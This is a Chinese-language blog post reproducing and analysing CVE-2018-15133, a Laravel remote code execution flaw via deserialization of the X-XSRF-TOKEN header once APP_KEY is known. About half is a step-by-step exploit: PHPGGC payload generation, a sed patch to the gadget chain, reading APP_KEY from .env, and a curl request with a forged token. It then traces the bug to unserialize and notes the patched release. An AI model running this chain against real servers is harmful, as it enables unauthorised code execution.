前几天在github上看到一个关于laravel的漏洞kozmic/laravel-poc-CVE-2018-15133,当API_KEY泄露造成的laravel远程代码执行,今天来验证一下并简单分析原因
1.拉取POC
1 | $ git clone https://github.com/kozmic/laravel-poc-CVE-2018-15133.git |
2.拉取PHPGGC工具(如果只是测试可以不用拉取这个工具)
1 | $ git clone https://github.com/ambionics/phpggc.git |
因为本地是PHP7.2环境 需要修改PHPGGC代码,执行:
sed -i -e 's/assert/system/g' gadgetchains/Laravel/RCE/1/gadgets.php
3.查看本地APP_KEY
1 | $ grep -e \^APP_KEY .env |
4.使用PHPGGC生成利用代码
1 | $ phpggc Laravel/RCE1 'uname -a' -b |
5.利用cve-2018-15133.php生成laravel漏洞利用代码
1 | $ ./cve-2018-15133.php FREM4wl5mSBiASIUb/AknJgZcKWxS/GNkWuHoQiU3rQ= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6InVuYW1lIC1hIjt9 |
6.测试漏洞
1 | $ curl -X POST http://web.black_card.me/login -H 'X-XSRF-TOKEN: eyJpdiI6Im1oalNPUzZIMlFZeVBXYjdRb2FDRFE9PSIsInZhbHVlIjoid3JcL09JRGVZWnBUSjlYREY1RHlTUzl0bTRIUjlFdHYwNVBpYk9iOTg5dngrRTROYk9GQllkckVMdXl4ckoxWmpWbmc1NVhIelB1K25XdDRZZTBkMXRIbDlYUzdsZWQ2SUNYZmNuRmhNRmU5XC8wOGZKMEJLUEY3OW1CXC9mWXBBcnhCR3dcL0Qzenl4QzlCSVFiN3paK1V5YTVicGFzMFYwelIwZWppZ3BYbDhzdjVDSDE3Z3N4Tjk1VHVyQytJbWd0bjN4dTVcL1pyT2oyVDJWR29iVHdBcTdoRkszMGFqSSs2eTlhbTdjVlhcL0c2V3VGdEdDZ2RrSG4rXC9jYWFPNVhJazUiLCJtYWMiOiI0MTY1MDNkN2UwODI5ZDc4YTg5YTY3N2U5MjY0YWZiN2U2YjdlMTAxNTZiYTIyODhkNmY1YmYxMmFkNzgyNTFhIn0='| head -n 2 |
可以看到我们的uname -a成功运行了
7.漏洞分析
简单分析一下这个漏洞成因
因为这个是X-XSRF-TOKEN反序列化漏洞,我们追踪到\app\Http\Middleware\VerifyCsrfToken.php
1 | namespace App\Http\Middleware; |
我们再次追踪到父类里 \vendor\laravel\framework\src\Illuminate\Foundation\Http\Middleware\VerifyCsrfToken.php 检查handle方法
1 | public function handle($request, Closure $next) |
再次跟踪到 tokensMatch 方法里
1 | protected function tokensMatch($request) |
可以看到 调用了 getTokenFromRequest方法,我们再次追踪到getTokenFromRequest方法里
1 | protected function getTokenFromRequest($request) |
这里又调用了一次$token = $this->encrypter->decrypt($header);我们追踪到decrypt方法里
1 | public function decrypt($payload, $unserialize = true) |
可以看到最后调用unserialize反序列化,所以问题就出在这里,关于 PHP反序列化漏洞 成因自行百度Google
官方也与8月8号发布5.6.30修复了这个漏洞,并建议所有开发者升级
Laravel Upgrade Guide